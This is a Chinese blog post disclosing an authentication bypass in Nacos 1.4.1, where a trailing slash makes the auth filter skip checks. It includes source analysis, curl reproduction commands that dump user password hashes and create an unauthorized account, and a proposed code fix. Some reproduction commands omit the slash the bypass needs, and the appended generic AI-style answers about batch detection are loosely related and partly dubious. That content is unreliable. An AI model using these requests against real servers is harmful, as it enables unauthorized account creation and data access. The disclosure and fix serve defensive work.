Nacos 惊爆安全漏洞,可绕过身份验证(终极附修复建议)

       

背景

网上曝出nacos最新版本1.4.1对于User-Agent绕过安全漏洞的serverIdentity key-value修复机制,依然存在绕过问题,在nacos开启了serverIdentity的自定义key-value鉴权后,通过特殊的url构造,依然能绕过限制访问任何http接口。

通过查看该功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,才能避免User-Agent: Nacos-Server绕过鉴权的安全问题。

但在开启该机制后,我从代码中发现,任然可以在某种情况下绕过,使之失效,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:

调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用户登录console,访问、修改、添加数据。

 

一、漏洞详情

问题主要出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

public class AuthFilter implements Filter {
    
    @Autowired
    private AuthConfigs authConfigs;
    
    @Autowired
    private AuthManager authManager;
    
    @Autowired
    private ControllerMethodsCache methodsCache;
    
    private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        
        if (!authConfigs.isAuthEnabled()) {
            chain.doFilter(request, response);
            return;
        }
        
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        
        if (authConfigs.isEnableUserAgentAuthWhite()) {
            String userAgent = WebUtils.getUserAgent(req);
            if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
                chain.doFilter(request, response);
                return;
            }
        } else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
                .isNotBlank(authConfigs.getServerIdentityValue())) {
            String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
            if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
                chain.doFilter(request, response);
                return;
            }
            Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
                    req.getRemoteHost());
        } else {
            resp.sendError(HttpServletResponse.SC_FORBIDDEN,
                    "Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
                            + " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
            return;
        }
        
        try {
            
            Method method = methodsCache.getMethod(req);
            
            if (method == null) {
                chain.doFilter(request, response);
                return;
            }
            
            ...鉴权代码
            
        }
        ...
    }
    ...
}

可以看到,上面三个if else分支:

  • 第一个是authConfigs.isEnableUserAgentAuthWhite(),它默认值为true,当值为true时,会判断请求头User-Agent是否匹配User-Agent: Nacos-Server,若匹配,则跳过后续所有逻辑,执行chain.doFilter(request, response);

  • 第二个是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本对于User-Agent: Nacos-Server安全问题的简单修复

  • 第三个是,当前面两个条件都不符合时,对请求直接作出拒绝访问的响应

问题出现在第二个分支,可以看到,当nacos的开发者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,开启该key-value简单鉴权机制后,会根据开发者配置的nacos.core.auth.server.identity.key去http header中获取一个value,去跟开发者配置的nacos.core.auth.server.identity.value进行匹配,若不匹配,则不进入分支执行:

if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
    chain.doFilter(request, response);
    return;
}

但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。

再往下看,代码来到:

Method method = methodsCache.getMethod(req);
            
if (method == null) {
    chain.doFilter(request, response);
    return;
}

...鉴权代码

可以看到,这里有一个判断method == null,只要满足这个条件,就不会走到后续的鉴权代码。

通过查看methodsCache.getMethod(req)代码实现,我发现了一个方法,可以使之返回的method为null

com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

public Method getMethod(HttpServletRequest request) {
    String path = getPath(request);
    if (path == null) {
        return null;
    }
    String httpMethod = request.getMethod();
    String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
    List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
    if (CollectionUtils.isEmpty(requestMappingInfos)) {
        return null;
    }
    List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
    if (CollectionUtils.isEmpty(matchedInfo)) {
        return null;
    }
    RequestMappingInfo bestMatch = matchedInfo.get(0);
    if (matchedInfo.size() > 1) {
        RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
        matchedInfo.sort(comparator);
        bestMatch = matchedInfo.get(0);
        RequestMappingInfo secondBestMatch = matchedInfo.get(1);
        if (comparator.compare(bestMatch, secondBestMatch) == 0) {
            throw new IllegalStateException(
                    "Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
                            + secondBestMatch + "}");
        }
    }
    return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
    String path = null;
    try {
        path = new URI(request.getRequestURI()).getPath();
    } catch (URISyntaxException e) {
        LOGGER.error("parse request to path error", e);
    }
    return path;
}

这个代码里面,可以很明确的看到,method值的返回,取决于

String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);

urlKey这个key,是否能从urlLookup这个ConcurrentHashMap中获取到映射值

而urlKey的组成中,存在着path这一部分,而这一部分的生成,恰恰存在着问题,它是通过如下方式获得的:

new URI(request.getRequestURI()).getPath()

一个正常的访问,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path将会是/nacos/v1/auth/users,而通过特殊构造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,得到的path将会是/nacos/v1/auth/users/

通过该方式,将能控制该path多一个末尾的斜杆'/',导致从urlLookup这个ConcurrentHashMap中获取不到method,为什么呢,因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾,只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap,那么,最外层的method == null条件将能满足,从而,绕过该鉴权机制。

二、漏洞影响范围

影响范围:
1.4.1

三、漏洞复现

1.访问用户列表接口

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

可以看到,绕过了鉴权,返回了用户列表数据

{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}

 

  2.添加新用户

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

可以看到,绕过了鉴权,添加了新用户

{
    "code":200,
    "message":"create user ok!",
    "data":null
}

3.再次查看用户列表

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'

可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户

{
    "totalCount": 2,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        },
        {
            "username": "test",
            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        }
    ]
}

4. 访问首页http://127.0.0.1:8848/nacos/,登录新账号,可以做任何事情

 

 

 

 

 

 

 

 

 

 

 

四、漏洞修复

 

1. 原有漏洞代码片段

Method method = methodsCache.getMethod(req);
            
if (method == null) {
    chain.doFilter(request, response);
    return;
}

...鉴权代码

     2.修复后的代码

String path = new URI(req.getRequestURI()).getPath();
Method method = methodsCache.getMethod(req.getMethod(), path);

if (method == null) {
     chain.doFilter(request, response);
     return;
}

3. 上诉紧急修复后产生的问题(控制台无法登录)

 

4 控制台服务登录问题的修复

            if (LOGIN.equals(new URI(req.getRequestURI()).getPath())) {
                chain.doFilter(request, response);
                return;
            } else {
                Method method = methodsCache.getMethod(req);
                if (method == null) {
                    // For #4701, Only support register API.
                    resp.sendError(HttpServletResponse.SC_NOT_FOUND, "Not found mehtod for path " + req.getMethod() + " " + req.getRequestURI());
                    return;
                }
                 //鉴权代码
            }

 

5. 修复后的控制台

 

浏览器输入:http://127.0.0.1:8848/nacos/    跳转到登录界面,输入账号密码即可到控制台。

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论
### 回答1: Nacos是一种开源的配置中心和服务发现平台,可以帮助开发者更方便地管理微服务架构。然而,最近在Nacos中发现了一个名为身份认证绕过漏洞,这使得攻击者可以绕过身份验证,执行恶意操作。 为了帮助企业和个人快速检测到这个安全漏洞,并采取相应的补救措施,一些安全研究者开发了批量检测POC。这个POC利用公开的漏洞信息,测试Nacos的登录和注册功能,以确定Nacos是否存在身份认证绕过漏洞。 使用这个批量检测POC,用户可以将所有的IP地址列表保存到一个文本文件中,然后通过简单的命令行选项传递该文本文件的路径。这个POC将自动扫描并验证每个IP地址是否容易受到身份认证绕过漏洞的攻击。 总体来说,这个批量检测POC提供了一种简单、快速、有效的方式,帮助企业和个人识别并修复Nacos中的身份认证绕过漏洞,从而提高系统的安全性和可靠性。同时,这也反映了业界对于技术安全的持续关注和努力。 ### 回答2: nacos是一个云原生的动态服务发现和配置管理平台,但是在nacos中存在着身份认证绕过漏洞,攻击者可以通过此漏洞直接绕过身份验证,获取到nacos的管理权限。为了防止此漏洞被滥用,需要及时对其进行检测修复Nacos身份认证绕过漏洞批量检测可以采用Poc技术进行,Poc即Proof of Concept,意为概念证明。通过编写Poc代码,可以在不影响正常运行的情况下,模拟攻击行为,发现漏洞并进行修复。 对于nacos身份认证绕过漏洞批量检测Poc,可以通过以下步骤实现: 1. 首先,确定目标,即需要检测nacos服务地址。可以通过搜索引擎、网络扫描等方式获取目标。 2. 编写Poc代码,对目标进行检测。具体步骤如下: (1)通过无需认证的接口验证目标是否存在身份认证绕过漏洞。 (2)如果存在漏洞,则可以使用管理员权限执行恶意操作,如读取、修改、删除配置文件等。 3. 对漏洞进行修复。修补漏洞的方法是将nacos系统更新至最新版本,并且配置正确,以避免任何安全问题。 通过进行nacos身份认证绕过漏洞批量检测Poc,可以及时发现和修复nacos系统中的漏洞问题,从而提高系统的安全性和稳定性。同时,作为云原生的重要组件之一,nacos系统的安全问题也需要得到更高的重视和加强保护。 ### 回答3: Nacos是一种开源的分布式服务发现、配置和管理平台,最近出现了一个身份认证绕过漏洞。攻击者可以利用该漏洞绕过Nacos身份验证,实现未经授权访问敏感信息或执行恶意操作。为了增强安全性,开发人员需要尽快修补漏洞。 为方便安全研究人员和开发人员识别漏洞,可以使用批量检测pocpoc是Proof of Concept的缩写,通常是指一段代码或脚本,用来验证漏洞是否存在的可复现方式。通过使用poc,可以确认漏洞的确存在,便于修复。 对于Nacos身份认证绕过漏洞,可以使用poc进行批量检测。首先需要构造一份包含有效用户名和密码的列表,然后使用pocNacos进行检测。如果检测漏洞,则会产生警报或输出,方便管理员及时修复漏洞。 因此,在使用Nacos时,开发人员需要及时修复漏洞,并通过poc等方式进行漏洞检测,以便及时发现和修复其他潜在的安全漏洞,提高系统的安全性和可靠性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

天秤座的架构师

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值